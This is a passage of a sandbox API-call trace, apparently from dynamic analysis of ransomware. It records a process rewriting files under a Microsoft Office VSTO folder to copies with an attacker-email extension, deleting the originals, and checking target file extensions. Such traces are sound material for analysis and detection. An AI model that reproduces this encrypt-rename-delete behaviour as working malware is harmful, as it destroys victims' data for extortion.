	[0083.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.034] lstrlenW (lpString=".jpg") returned 4
	[0083.034] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.034] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.034] lstrlenW (lpString="VSTOInstallerUI.dll") returned 19
	[0083.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.225] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=12448) returned 1
	[0083.226] CloseHandle (hObject=0x364) returned 1
	[0083.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20
	[0083.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.226] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.226] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.252] GetLastError () returned 0x0
	[0083.252] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x30a0, lpOverlapped=0x0) returned 1
	[0083.256] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x30b0, lpOverlapped=0x0) returned 1
	[0083.257] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.257] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0083.257] SetEndOfFile (hFile=0x34c) returned 1
	[0083.257] CloseHandle (hObject=0x34c) returned 1
	[0083.257] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.257] SetEndOfFile (hFile=0x364) returned 1
	[0083.258] CloseHandle (hObject=0x364) returned 1
	[0083.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.258] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1
	[0083.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.258] lstrlenW (lpString=".doc") returned 4
	[0083.259] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.259] lstrlenW (lpString=".docx") returned 5
	[0083.259] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0083.259] lstrlenW (lpString=".pdf") returned 4
	[0083.259] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.259] lstrlenW (lpString=".xls") returned 4
	[0083.259] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.259] lstrlenW (lpString=".xlsx") returned 5
	[0083.259] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0083.259] lstrlenW (lpString=".ppt") returned 4
	[0083.259] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.259] lstrlenW (lpString=".zip") returned 4
	[0083.259] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.259] lstrlenW (lpString=".rar") returned 4
	[0083.259] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.259] lstrlenW (lpString=".bz2") returned 4
	[0083.259] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.259] lstrlenW (lpString=".7z") returned 3
	[0083.259] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.259] lstrlenW (lpString=".dbf") returned 4
	[0083.259] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.259] lstrlenW (lpString=".1cd") returned 4
	[0083.259] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.259] lstrlenW (lpString=".jpg") returned 4
	[0083.259] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.259] lstrlenW (lpString=".doc") returned 4
	[0083.260] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.260] lstrlenW (lpString=".docx") returned 5
	[0083.260] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0083.260] lstrlenW (lpString=".pdf") returned 4
	[0083.260] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.260] lstrlenW (lpString=".xls") returned 4
	[0083.260] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.260] lstrlenW (lpString=".xlsx") returned 5
	[0083.260] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0083.260] lstrlenW (lpString=".ppt") returned 4
	[0083.260] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.260] lstrlenW (lpString=".zip") returned 4
	[0083.260] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.260] lstrlenW (lpString=".rar") returned 4
	[0083.260] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.260] lstrlenW (lpString=".bz2") returned 4
	[0083.260] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.260] lstrlenW (lpString=".7z") returned 3
	[0083.260] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.260] lstrlenW (lpString=".dbf") returned 4
	[0083.260] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.260] lstrlenW (lpString=".1cd") returned 4
	[0083.260] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0083.260] lstrlenW (lpString=".jpg") returned 4
	[0083.260] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.260] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.261] lstrlenW (lpString="VSTOMessageProvider.dll") returned 23
	[0083.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.261] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=48872) returned 1
	[0083.261] CloseHandle (hObject=0x364) returned 1
	[0083.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20
	[0083.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.261] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.261] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.262] GetLastError () returned 0x0
	[0083.262] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xbee8, lpOverlapped=0x0) returned 1
	[0083.270] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xbef0, lpOverlapped=0x0) returned 1
	[0083.271] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.271] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x102, lpOverlapped=0x0) returned 1
	[0083.271] SetEndOfFile (hFile=0x34c) returned 1
	[0083.272] CloseHandle (hObject=0x34c) returned 1
	[0083.272] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.272] SetEndOfFile (hFile=0x364) returned 1
	[0083.273] CloseHandle (hObject=0x364) returned 1
	[0083.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.273] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1
	[0083.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.273] lstrlenW (lpString=".doc") returned 4
	[0083.273] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.273] lstrlenW (lpString=".docx") returned 5
	[0083.273] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0083.273] lstrlenW (lpString=".pdf") returned 4
	[0083.273] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.273] lstrlenW (lpString=".xls") returned 4
	[0083.273] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.273] lstrlenW (lpString=".xlsx") returned 5
	[0083.273] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0083.273] lstrlenW (lpString=".ppt") returned 4
	[0083.274] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.274] lstrlenW (lpString=".zip") returned 4
	[0083.274] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.274] lstrlenW (lpString=".rar") returned 4
	[0083.274] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.274] lstrlenW (lpString=".bz2") returned 4
	[0083.274] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.274] lstrlenW (lpString=".7z") returned 3
	[0083.274] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.274] lstrlenW (lpString=".dbf") returned 4
	[0083.274] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.274] lstrlenW (lpString=".1cd") returned 4
	[0083.274] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.274] lstrlenW (lpString=".jpg") returned 4
	[0083.274] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.274] lstrlenW (lpString=".doc") returned 4
	[0083.274] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.274] lstrlenW (lpString=".docx") returned 5
	[0083.274] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0083.274] lstrlenW (lpString=".pdf") returned 4
	[0083.274] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.274] lstrlenW (lpString=".xls") returned 4
	[0083.274] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.274] lstrlenW (lpString=".xlsx") returned 5
	[0083.274] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0083.274] lstrlenW (lpString=".ppt") returned 4
	[0083.275] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.275] lstrlenW (lpString=".zip") returned 4
	[0083.275] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.275] lstrlenW (lpString=".rar") returned 4
	[0083.275] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.275] lstrlenW (lpString=".bz2") returned 4
	[0083.275] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.275] lstrlenW (lpString=".7z") returned 3
	[0083.275] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.275] lstrlenW (lpString=".dbf") returned 4
	[0083.275] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.275] lstrlenW (lpString=".1cd") returned 4
	[0083.275] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0083.275] lstrlenW (lpString=".jpg") returned 4
	[0083.275] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.275] lstrcmpiW (lpString1=".tlb", lpString2=".html") returned 1
	[0083.275] lstrlenW (lpString="vstoee100.tlb") returned 13
	[0083.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.276] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=17048) returned 1
	[0083.276] CloseHandle (hObject=0x364) returned 1
	[0083.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20
	[0083.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.277] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.277] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.282] GetLastError () returned 0x0
	[0083.282] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x4298, lpOverlapped=0x0) returned 1
	[0083.285] WriteFile (in: hFile=0x36c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x42a0, lpOverlapped=0x0) returned 1
	[0083.286] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.286] WriteFile (in: hFile=0x36c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xee, lpOverlapped=0x0) returned 1
	[0083.287] SetEndOfFile (hFile=0x36c) returned 1
	[0083.287] CloseHandle (hObject=0x36c) returned 1
	[0083.287] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.287] SetEndOfFile (hFile=0x364) returned 1
	[0083.288] CloseHandle (hObject=0x364) returned 1
	[0083.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.288] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1
	[0083.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0083.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0083.288] lstrlenW (lpString=".doc") returned 4
	[0083.288] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.288] lstrlenW (lpString=".docx") returned 5
	[0083.288] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0083.288] lstrlenW (lpString=".pdf") returned 4
	[0083.289] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.289] lstrlenW (lpString=".xls") returned 4
	[0083.289] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.289] lstrlenW (lpString=".xlsx") returned 5
	[0083.289] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0083.289] lstrlenW (lpString=".ppt") returned 4
	[0083.289] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0083.289] lstrlenW (lpString=".zip") returned 4
	[0083.289] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.289] lstrlenW (lpString=".rar") returned 4
	[0083.289] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.289] lstrlenW (lpString=".bz2") returned 4
	[0083.289] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.289] lstrlenW (lpString=".7z") returned 3
	[0083.289] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0083.289] lstrlenW (lpString=".dbf") returned 4
	[0083.289] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0083.289] lstrlenW (lpString=".1cd") returned 4
	[0083.289] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0083.289] lstrlenW (lpString=".jpg") returned 4
	[0083.289] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0083.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0083.289] lstrlenW (lpString=".doc") returned 4
	[0083.289] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.289] lstrlenW (lpString=".docx") returned 5
	[0083.289] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0083.289] lstrlenW (lpString=".pdf") returned 4
	[0083.290] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.290] lstrlenW (lpString=".xls") returned 4
	[0083.290] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.290] lstrlenW (lpString=".xlsx") returned 5
	[0083.290] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0083.290] lstrlenW (lpString=".ppt") returned 4
	[0083.290] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0083.290] lstrlenW (lpString=".zip") returned 4
	[0083.290] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.290] lstrlenW (lpString=".rar") returned 4
	[0083.290] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.290] lstrlenW (lpString=".bz2") returned 4
	[0083.290] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.290] lstrlenW (lpString=".7z") returned 3
	[0083.290] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0083.290] lstrlenW (lpString=".dbf") returned 4
	[0083.290] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0083.290] lstrlenW (lpString=".1cd") returned 4
	[0083.290] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
